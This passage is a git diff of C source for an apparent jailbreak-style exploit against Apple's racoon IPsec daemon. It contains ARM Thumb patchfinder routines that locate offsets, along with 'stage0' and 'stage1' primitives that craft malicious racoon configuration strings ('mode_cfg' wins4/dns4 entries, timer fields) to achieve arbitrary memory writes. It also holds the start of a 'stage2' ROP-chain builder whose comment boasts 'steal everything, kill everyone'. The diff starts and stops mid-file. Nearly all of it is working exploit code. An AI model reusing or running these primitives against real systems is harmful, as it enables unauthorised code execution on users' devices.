+ return (*(i + 1) & 0xFFF);
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*(i + 1) & 0xFF);
+ else
+ return 0;
+}
+
+static int insn_str_imm_rt(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return (*i & 7);
+ else if ((*i & 0xF800) == 0x9000)
+ return (*i >> 8) & 7;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return (*(i + 1) >> 12) & 0xF;
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*(i + 1) >> 12) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_str_imm_rn(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return (*i >> 3) & 7;
+ else if ((*i & 0xF800) == 0x9000)
+ return 13;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return (*i & 0xF);
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*i & 0xF);
+ else
+ return 0;
+}
+
+// Given an instruction, search backwards until an instruction is found matching the specified criterion.
+static uint16_t* find_last_insn_matching(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* current_instruction, int (*match_func)(uint16_t*)) {
+ while ((uintptr_t)current_instruction > (uintptr_t)kdata) {
+ if (insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) {
+ current_instruction -= 2;
+ } else {
+ --current_instruction;
+ }
+
+ if (match_func(current_instruction)) {
+ return current_instruction;
+ }
+ }
+
+ return NULL;
+}
+
+// Given an instruction and a register, find the PC-relative address that was stored inside the register by the time the instruction was reached.
+static uint32_t find_pc_rel_value(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, int reg) {
+ // Find the last instruction that completely wiped out this register
+ int found = 0;
+ uint16_t* current_instruction = insn;
+ while ((uintptr_t)current_instruction > (uintptr_t)kdata) {
+ if (insn_is_32bit(current_instruction - 2)) {
+ current_instruction -= 2;
+ } else {
+ --current_instruction;
+ }
+
+ if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) {
+ found = 1;
+ break;
+ }
+
+ if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) {
+ found = 1;
+ break;
+ }
+ }
+
+ if (!found)
+ return 0;
+
+ // Step through instructions, executing them as a virtual machine, only caring about instructions that affect the target register and are commonly used for PC-relative addressing.
+ uint32_t value = 0;
+ while ((uintptr_t)current_instruction < (uintptr_t)insn) {
+ if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) {
+ value = insn_mov_imm_imm(current_instruction);
+ } else if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) {
+ value = *(uint32_t*)(kdata + (((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction)));
+ } else if (insn_is_movt(current_instruction) && insn_movt_rd(current_instruction) == reg) {
+ value |= insn_movt_imm(current_instruction) << 16;
+ } else if (insn_is_add_reg(current_instruction) && insn_add_reg_rd(current_instruction) == reg) {
+ if (insn_add_reg_rm(current_instruction) != 15 || insn_add_reg_rn(current_instruction) != reg) {
+ // Can't handle this kind of operation!
+ return 0;
+ }
+
+ value += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4;
+ }
+
+ current_instruction += insn_is_32bit(current_instruction) ? 2 : 1;
+ }
+
+ return value;
+}
+
+// Find PC-relative references to a certain address (relative to kdata). This is basically a virtual machine that only cares about instructions used in PC-relative addressing, so no branches, etc.
+static uint16_t* find_literal_ref(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, uint32_t address) {
+ uint16_t* current_instruction = insn;
+ uint32_t value[16];
+ memset(value, 0, sizeof(value));
+
+ while ((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) {
+ if (insn_is_mov_imm(current_instruction)) {
+ value[insn_mov_imm_rd(current_instruction)] = insn_mov_imm_imm(current_instruction);
+ } else if (insn_is_ldr_literal(current_instruction)) {
+ uintptr_t literal_address = (uintptr_t)kdata + ((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction);
+ if (literal_address >= (uintptr_t)kdata && (literal_address + 4) <= ((uintptr_t)kdata + ksize)) {
+ value[insn_ldr_literal_rt(current_instruction)] = *(uint32_t*)(literal_address);
+ }
+ } else if (insn_is_movt(current_instruction)) {
+ value[insn_movt_rd(current_instruction)] |= insn_movt_imm(current_instruction) << 16;
+ } else if (insn_is_add_reg(current_instruction)) {
+ int reg = insn_add_reg_rd(current_instruction);
+ if (insn_add_reg_rm(current_instruction) == 15 && insn_add_reg_rn(current_instruction) == reg) {
+ value[reg] += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4;
+ if (value[reg] == address) {
+ return current_instruction;
+ }
+ }
+ }
+
+ current_instruction += insn_is_32bit(current_instruction) ? 2 : 1;
+ }
+
+ return NULL;
+}
+
+struct find_search_mask {
+ uint16_t mask;
+ uint16_t value;
+};
+
+// Search the range of kdata for a series of 16-bit values that match the search mask.
+static uint16_t* find_with_search_mask(uint32_t region, uint8_t* kdata, size_t ksize, int num_masks, const struct find_search_mask* masks) {
+ uint16_t* end = (uint16_t*)(kdata + ksize - (num_masks * sizeof(uint16_t)));
+ uint16_t* cur;
+ for(cur = (uint16_t*) kdata; cur <= end; ++cur) {
+ int matched = 1;
+ int i;
+ for(i = 0; i < num_masks; ++i) {
+ if ((*(cur + i) & masks[i].mask) != masks[i].value) {
+ matched = 0;
+ break;
+ }
+ }
+
+ if (matched)
+ return cur;
+ }
+
+ return NULL;
+}
+
+/*
+ * stolen from CBPatcher
+ */
+/* Some stuff from https://github.com/kpwn/yalu/blob/master/data/dyldmagic/libxnuexp.m, courtesy of qwertyoruiop */
+
+/* Find start of a section in a macho */
+struct section *find_section(struct segment_command *seg, const char *name)
+{
+ struct section *sect, *fs = NULL;
+ uint32_t i = 0;
+ for (i = 0, sect = (struct section *)((uintptr_t)seg + (uintptr_t)sizeof(struct segment_command));
+ i < seg->nsects;
+ i++, sect = (struct section*)((uintptr_t)sect + sizeof(struct section)))
+ {
+ if (!strcmp(sect->sectname, name)) {
+ fs = sect;
+ break;
+ }
+ }
+ return fs;
+}
+
+/* Find start of a load command in a macho */
+struct load_command *find_load_command(struct mach_header *mh, uint32_t cmd) {
+ struct load_command *lc, *flc;
+
+ lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header));
+
+ while (1) {
+ if ((uintptr_t)lc->cmd == cmd) {
+ flc = (struct load_command *)(uintptr_t)lc;
+ break;
+ }
+ lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize);
+ }
+ return flc;
+}
+
+/* Find start of a segment in a macho */
+struct segment_command *find_segment(struct mach_header *mh, const char *segname) {
+ struct load_command *lc;
+ struct segment_command *s, *fs = NULL;
+ lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header));
+ while ((uintptr_t)lc < (uintptr_t)mh + (uintptr_t)mh->sizeofcmds) {
+ if (lc->cmd == LC_SEGMENT) {
+ s = (struct segment_command *)lc;
+ if (!strcmp(s->segname, segname)) {
+ fs = s;
+ break;
+ }
+ }
+ lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize);
+ }
+ return fs;
+}
+
+/* Find offset of an exported symbol in a macho */
+void* find_sym(struct mach_header *mh, const char *name) {
+ struct segment_command* first = (struct segment_command*) find_load_command(mh, LC_SEGMENT);
+ struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB);
+ vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr;
+
+ char* sym_str_table = (char*) (((char*)mh) + symtab->stroff);
+ struct nlist* sym_table = (struct nlist*)(((char*)mh) + symtab->symoff);
+
+ for (int i = 0; i < symtab->nsyms; i++) {
+ if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) {
+ return (void*)(uintptr_t)(sym_table[i].n_value + vmaddr_slide);
+ }
+ }
+ return 0;
+}
+
+uint32_t get_offset_to_binary_of_bytes(uint8_t* bin,
+ uint32_t bin_len,
+ uint8_t* what,
+ uint32_t what_len) {
+ uint8_t* tmp = memmem(bin, bin_len, what, what_len);
+ if (tmp == NULL)
+ return -1;
+
+ return tmp - bin;
+}
+
+#include <stdint.h>
+
+uint16_t swap_uint16(uint16_t val) {
+ return (val << 8) | (val >> 8);
+}
+
+uint32_t swap_uint32(uint32_t val) {
+ val = ((val << 8) & 0xFF00FF00) | ((val >> 8) & 0xFF00FF);
+ return (val << 16) | (val >> 16);
+}
+
+uint32_t weird_swap(uint32_t lol) {
+ return (swap_uint16((lol & 0xffff0000) >> 16) << 16) | swap_uint16(lol & 0xffff);
+}
+
+uint16_t get_movw_arg(uint32_t movw) {
+ /*
+ * garbage
+ */
+ uint32_t arg = 0;
+ uint32_t movw_just_arg = weird_swap(movw);
+ arg |= (movw_just_arg & 0xff) << 0;
+ arg |= ((movw_just_arg & 0x7000) >> 12) << 8;
+ arg |= ((movw_just_arg & 0xf0000) >> 16) << 12;
+ arg |= ((movw_just_arg & 0x4000000) >> 26) << 11;
+
+ return arg;
+}
+
+uint32_t find_dns4_offset(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ char* sysctl_arg = "net.inet.ipsec.esp_port";
+ char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg));
+ uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin);
+ uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy);
+ uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin);
+ uint32_t ref_to_dns4;
+ uintptr_t the_movw;
+ for (int i = 0; i < 0x100; i++) {
+ uintptr_t test_me = (uintptr_t)ref_ptr;
+ test_me += i;
+ if (insn_is_movt((uint16_t*)test_me)) {
+ the_movw = (uintptr_t)ref_ptr;
+ the_movw += i;
+ the_movw -= 4;
+ break;
+ }
+// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) {
+// ref_to_dns4 = ref + (i - 2);
+// break;
+// }
+ }
+
+ uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin);
+
+ uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw);
+ uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4));
+ uint32_t movw_arg = get_movw_arg(movw_raw);
+ uint32_t movt_arg = get_movw_arg(movt_raw);
+
+ uint32_t offset_to_pc = (movt_arg << 16) | movw_arg;
+ uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8);
+ uint32_t ref_dns4_offset = offset_to_pc + pc + 0x4;
+
+ uint32_t autism = ref_dns4_offset;
+// printf("0x%08x\n", autism);
+
+ return *(uint32_t*)(bin + autism) + 0x8;
+}
+
+uint32_t find_lc_conf_offset(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ char* sysctl_arg = "net.inet.ipsec.esp_port";
+ char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg));
+ uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin);
+ uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy);
+ uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin);
+ uint32_t ref_to_dns4;
+ uintptr_t the_movw;
+ for (int i = 0; i < 0x100; i++) {
+ uintptr_t test_me = (uintptr_t)ref_ptr;
+ test_me += i;
+ if (insn_is_movt((uint16_t*)test_me)) {
+ the_movw = (uintptr_t)ref_ptr;
+ the_movw += i;
+ the_movw -= 4;
+ break;
+ }
+// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) {
+// ref_to_dns4 = ref + (i - 2);
+// break;
+// }
+ }
+
+ uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin);
+
+ uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw);
+ uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4));
+ uint32_t movw_arg = get_movw_arg(movw_raw);
+ uint32_t movt_arg = get_movw_arg(movt_raw);
+
+ uint32_t offset_to_pc = (movt_arg << 16) | movw_arg;
+ uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8);
+ uint32_t ref_dns4_offset = offset_to_pc + pc + 0x8;
+
+ uint32_t autism = ref_dns4_offset;
+// printf("0x%08x\n", autism);
+
+ return *(uint32_t*)(bin + autism);
+}
+
+uint32_t find_printf_addr(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ char* usage_racoon_str = "usage: racoon";
+ uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str));
+ uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset);
+ uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin);
+ uintptr_t the_blx;
+ for (int i = 0; i < 0x100; i += 2) {
+ uintptr_t test_me = (uintptr_t)usage_ref;
+ test_me += i;
+ if (insn_is_bl((uint16_t*)test_me)) {
+ the_blx = (uintptr_t)usage_ref;
+ the_blx += i;
+ break;
+ }
+ }
+
+ uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 8 + 0x4000;
+
+ return printf_symbolstub_addr;
+}
+
+uint32_t find_puts_addr(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ char* usage_racoon_str = "usage: racoon";
+ uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str));
+ uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset);
+ uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin);
+ uintptr_t the_blx;
+ int count = 0;
+ for (int i = 0; i < 0x100; i += 2) {
+ uintptr_t test_me = (uintptr_t)usage_ref;
+ test_me += i;
+ if (insn_is_bl((uint16_t*)test_me)) {
+ the_blx = (uintptr_t)usage_ref;
+ the_blx += i;
+ usage_ref_addr = (void*)the_blx - (void*)bin;
+ count++;
+ if (count == 2)
+ break;
+ }
+ }
+
+ uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 4 + 0x4000;
+
+ return printf_symbolstub_addr;
+}
+
+void sandbox(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ //
+} \ No newline at end of file
diff --git a/src/patchfinder.h b/src/patchfinder.h
new file mode 100755
index 0000000..21af7e3
--- /dev/null
+++ b/src/patchfinder.h
@@ -0,0 +1,14 @@
+#ifndef PATCHFINDER_H
+#define PATCHFINDER_H
+
+#include <stdint.h>
+
+uint32_t find_dns4_offset(uint32_t region,
+ uint8_t* bin,
+ size_t size);
+
+uint32_t find_lc_conf_offset(uint32_t region,
+ uint8_t* bin,
+ size_t size);
+
+#endif \ No newline at end of file
diff --git a/src/shit.c b/src/shit.c
new file mode 100644
index 0000000..ef354d4
--- /dev/null
+++ b/src/shit.c
@@ -0,0 +1,32 @@
+#include <stdarg.h>
+#include "common.h"
+#include <stdio.h>
+#include "shit.h"
+
+extern FILE* fp;
+
+int _asprintf(char **strp, const char *fmt, ...) {
+ va_list ap;
+ char* tmp = NULL;
+
+ *strp = "";
+
+ /*
+ * shit
+ */
+
+ va_start(ap, fmt);
+ vfprintf(fp, fmt, ap);
+ va_end(ap);
+
+#if 0
+ strcpy(fuck_memory_leaks, tmp);
+
+ if (strp)
+ *strp = fuck_memory_leaks;
+
+ free(tmp);
+#endif
+
+ return 0;
+} \ No newline at end of file
diff --git a/src/shit.h b/src/shit.h
new file mode 100644
index 0000000..d97a995
--- /dev/null
+++ b/src/shit.h
@@ -0,0 +1,6 @@
+#ifndef SHIT_H
+#define SHIT_H
+
+int _asprintf(char **strp, const char *fmt, ...);
+
+#endif \ No newline at end of file
diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c
new file mode 100755
index 0000000..b54cb1a
--- /dev/null
+++ b/src/stage0_primitives.c
@@ -0,0 +1,46 @@
+/*
+ * stage0_primitives
+ */
+
+#include <stdint.h>
+#include <stdio.h>
+
+#include "stage0_primitives.h"
+#include "ip_tools.h"
+#include "common.h"
+#include <string.h>
+#include "shit.h"
+
+//#define DNS4_OFFSET 0xb6c10
+
+char* write32_slid(uint32_t where,
+ uint32_t what) {
+ char* where_ip = NULL;
+ char* what_ip = NULL;
+ char* ret = NULL;
+
+ uint32_t where_ = where - DNS4_OFFSET;
+ where_ >>= 2;
+ where_ += 0x80000000;
+
+ where_ip = uint32_t_to_ip(where_);
+ what_ip = uint32_t_to_ip(what);
+
+ asprintf(&ret, "mode_cfg{"
+ "wins41.3.3.7;"
+ "wins41.3.3.7;"
+ "wins41.3.3.7;"
+ "wins41.3.3.7;"
+ "wins4255.255.255.255;"
+ "wins4%s;"
+ "dns4%s;"
+ "}",
+ where_ip,
+ what_ip);
+
+ strcpy(fuck_memory_leaks, ret);
+
+ free(ret);
+
+ return fuck_memory_leaks;
+} \ No newline at end of file
diff --git a/src/stage0_primitives.h b/src/stage0_primitives.h
new file mode 100755
index 0000000..a9a71eb
--- /dev/null
+++ b/src/stage0_primitives.h
@@ -0,0 +1,10 @@
+#ifndef STAGE0_PRIMITIVES_H
+#define STAGE0_PRIMITIVES_H
+
+#include <stdint.h>
+
+extern uint32_t DNS4_OFFSET;
+char* write32_slid(uint32_t where,
+ uint32_t what);
+
+#endif \ No newline at end of file
diff --git a/src/stage1_primitives.c b/src/stage1_primitives.c
new file mode 100755
index 0000000..ffe7b53
--- /dev/null
+++ b/src/stage1_primitives.c
@@ -0,0 +1,168 @@
+/*
+ * stage1_primitives
+ */
+
+#include <stdint.h>
+#include <stdio.h>
+
+#include "stage1_primitives.h"
+#include "stage0_primitives.h"
+#include "ip_tools.h"
+#include "common.h"
+#include <string.h>
+#include "shit.h"
+
+//#define LC_CONF_OFFSET 0xb6088
+
+extern FILE* fp;
+
+char* write32_unslid(uint32_t where,
+ uint32_t what) {
+ char* ret = "";
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_slid(LC_CONF_OFFSET,
+ where - 0xa0));
+ _asprintf(&ret,
+ "%s"
+ "timer{"
+ "counter%u;"
+ "}",
+ ret,
+ what);
+
+ return ret;
+}
+
+char* write32_unslid_pre(uint32_t where) {
+ char* ret = "";
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_slid(LC_CONF_OFFSET,
+ where - 0xa0));
+ return ret;
+}
+
+char* writebuf_old_unslid(uint32_t where,
+ char* what,
+ uint32_t len) {
+ char* ret = "";
+ uint32_t* lol = (uint32_t*)what;
+
+ while (((void*)lol - (void*)what) < len) {
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_unslid_pre(where + ((void*)lol - (void*)what)));
+
+ /*
+ * i make an exception for 80 cols here
+ */
+
+ _asprintf(&ret, "%stimer{", ret);
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; }
+
+ _asprintf(&ret,
+ "%s}",
+ ret);
+ }
+
+ strcpy(fuck_memory_leaks, ret);
+
+ free(ret);
+
+ return fuck_memory_leaks;
+
+ return ret;
+}
+
+char* writebuf_unslid(uint32_t where,
+ char* what,
+ uint32_t len) {
+ char* ret = "";
+ uint32_t* lol = (uint32_t*)what;
+
+#if 0
+ for (uint32_t here = where; here < where + len; here++) {
+ asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_unslid_pre(here));
+
+ asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here - where)));
+ }
+#endif
+
+#if 1
+ while (((void*)lol - (void*)what) < len) {
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_unslid_pre(where + ((void*)lol - (void*)what)));
+
+ /*
+ * i make an exception for 80 cols here
+ */
+
+ _asprintf(&ret, "%stimer{", ret);
+
+
+ /*
+ * this is so fucking ugly
+ */
+ if ((((*lol) & 0x80000000) >> 31) == 1) {
+lol:
+ _asprintf(&ret,
+ "%s}",
+ ret);
+
+ for (uint32_t here = ((void*)lol - (void*)what); here < ((void*)lol - (void*)what) + 4; here++) {
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_unslid_pre(here + where));
+ _asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here)));
+ }
+
+ lol++;
+ continue;
+ }
+
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; }
+
+ if ((((*lol) & 0x80000000) >> 31) == 1) goto lol;
+ if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; }
+
+ _asprintf(&ret,
+ "%s}",
+ ret);
+ }
+#endif
+
+ return ret;
+}
diff --git a/src/stage1_primitives.h b/src/stage1_primitives.h
new file mode 100755
index 0000000..d6b9c33
--- /dev/null
+++ b/src/stage1_primitives.h
@@ -0,0 +1,19 @@
+#ifndef STAGE1_PRIMITIVES_H
+#define STAGE1_PRIMITIVES_H
+
+#include <stdint.h>
+
+extern uint32_t LC_CONF_OFFSET;
+
+char* write32_unslid(uint32_t where,
+ uint32_t what);
+
+char* writebuf_old_unslid(uint32_t where,
+ char* what,
+ uint32_t len);
+
+char* writebuf_unslid(uint32_t where,
+ char* what,
+ uint32_t len);
+
+#endif \ No newline at end of file
diff --git a/src/stage2.c b/src/stage2.c
new file mode 100644
index 0000000..4297e79
--- /dev/null
+++ b/src/stage2.c
@@ -0,0 +1,400 @@
+/*
+ * drunk_rac00n
+ *
+ * we call this "ROP" round these parts
+ * steal everything, kill everyone, cause total financial ruin.
+ *
+ * this exploit is seriously garbage, but gawd damnit it exploits the thing
+ *
+ * hax
+ */
+
+#include <mach-o/dyld.h>
+#include "stage2.h"
+#include <stdint.h>
+#include <stdlib.h>
+#include <syslog.h>
+#include <dlfcn.h>
+#include <stdio.h>
+
+#define MOV_R0(what) do { \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r0; \
+} while (0)
+
+#define CALL(what) do { \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = base + nulls_addr; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + blx_r5; \
+} while (0)
+
+#define CALL_1ARG(what, arg) do { \
+ MOV_R0(arg); \
+ CALL(what); \
+} while (0)
+
+#define STR_R0(where) do { \
+ chain[chain_len++] = where; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + str_r0_r4; \
+ chain[chain_len++] = where; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + ldr_r0_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define MOV_R1_R0() do { \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r1_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define DEREF_IN_R0(what) do { \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + ldr_r0_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define DEREF_R0() do { \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + ldr_r0_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define MOV_R1(what) do { \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + mov_r1_r0; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define ADD_R0_R1() do { \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + add_r0_r1; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + nop; \
+} while (0)
+
+#define CALL_4_ARG_L2_0(what, arg1, arg2) do { \
+ MOV_R0(0); \
+ STR_R0(base + reserve_addr + 0x40000); \
+ MOV_R0(base + weird_r3); \
+ STR_R0(base + reserve_addr + 0x4014); \
+ MOV_R0(base + reserve_addr + 0x4000); \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = arg2; \
+ chain[chain_len++] = base + reserve_addr + 0x40000; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + other_weird_r3; \
+ MOV_R0(arg1); \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = what; \
+} while (0) \
+
+#define CALL_4_PTRARG_L2_0(what, arg1, arg2) do { \
+ DEREF_IN_R0(arg1); \
+ STR_R0(stack_base + (chain_len * 4) + 520); \
+ DEREF_IN_R0(arg2); \
+ STR_R0(stack_base + (chain_len * 4) + 340); \
+ MOV_R0(0); \
+ STR_R0(base + reserve_addr + 0x40000); \
+ MOV_R0(base + weird_r3); \
+ STR_R0(base + reserve_addr + 0x4014); \
+ MOV_R0(base + reserve_addr + 0x4000); \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = 0x32323232; \
+ chain[chain_len++] = base + reserve_addr + 0x40000; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = base + other_weird_r3; \
+ MOV_R0(0x31313131); \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = UNUSED; \
+ chain[chain_len++] = what; \
+ chain[chain_len++] = 0; \
+ chain[chain_len++] = 0; \
+ chain[chain_len++] = 0; \
+ chain[chain_len++] = 0; \
+ chain[chain_len++] = base + nop; \
+} while (0) \
+
+#define CALL_SLID_4_ARG_L2_0(what, arg1, arg2) do { \
